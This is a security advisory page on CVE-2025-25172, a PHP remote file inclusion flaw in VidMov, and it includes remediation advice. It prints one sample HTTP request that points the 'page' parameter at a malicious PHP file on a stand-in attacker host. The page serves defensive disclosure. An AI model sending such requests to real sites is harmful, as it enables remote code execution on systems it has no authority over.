Overview
The cybersecurity landscape is constantly evolving, and the discovery of new vulnerabilities is a testament to this. One such vulnerability is the CVE-2025-25172, an improper control of filename for include/require statement in PHP program, otherwise known as a ‘PHP Remote File Inclusion’ vulnerability. This vulnerability resides in the VidMov software developed by beeteam368, a popular video player and streaming platform. This vulnerability has the potential to compromise an entire system or lead to data leakage, making it a significant concern for users and administrators of the VidMov software.
Vulnerability Summary
CVE ID: CVE-2025-25172
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
VidMov by beeteam368 | n/a through 1.9.4
How the Exploit Works
The PHP Remote File Inclusion vulnerability arises due to improper validation and control of file names in include/require statements of PHP programs. An attacker can manipulate these statements to include files from remote servers, leading to the execution of arbitrary PHP code within the context of the application. This can result in unauthorized access, data manipulation, or even a complete system compromise if the application has high-level permissions.
Conceptual Example Code
Consider the following conceptual example that demonstrates how an attacker could exploit this vulnerability:
GET /vidmov/index.php?page=http://malicious.example.com/malicious.php HTTP/1.1
Host: target.example.comIn this example, the attacker is using a GET request to manipulate the ‘page’ parameter in the request URL. By specifying a URL (`http://malicious.example.com/malicious.php`) of a malicious PHP file hosted on a remote server, the attacker tricks the application into including this file from the remote server, leading to the execution of the malicious PHP code.
Remediation and Mitigation
Users of VidMov are urged to apply the vendor-provided patch to fix this vulnerability. In the absence of a patch, or until a patch can be applied, users can use Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) to detect and prevent attempts to exploit this vulnerability. Furthermore, regular security audits and code reviews can help identify and correct improper file handling in PHP code.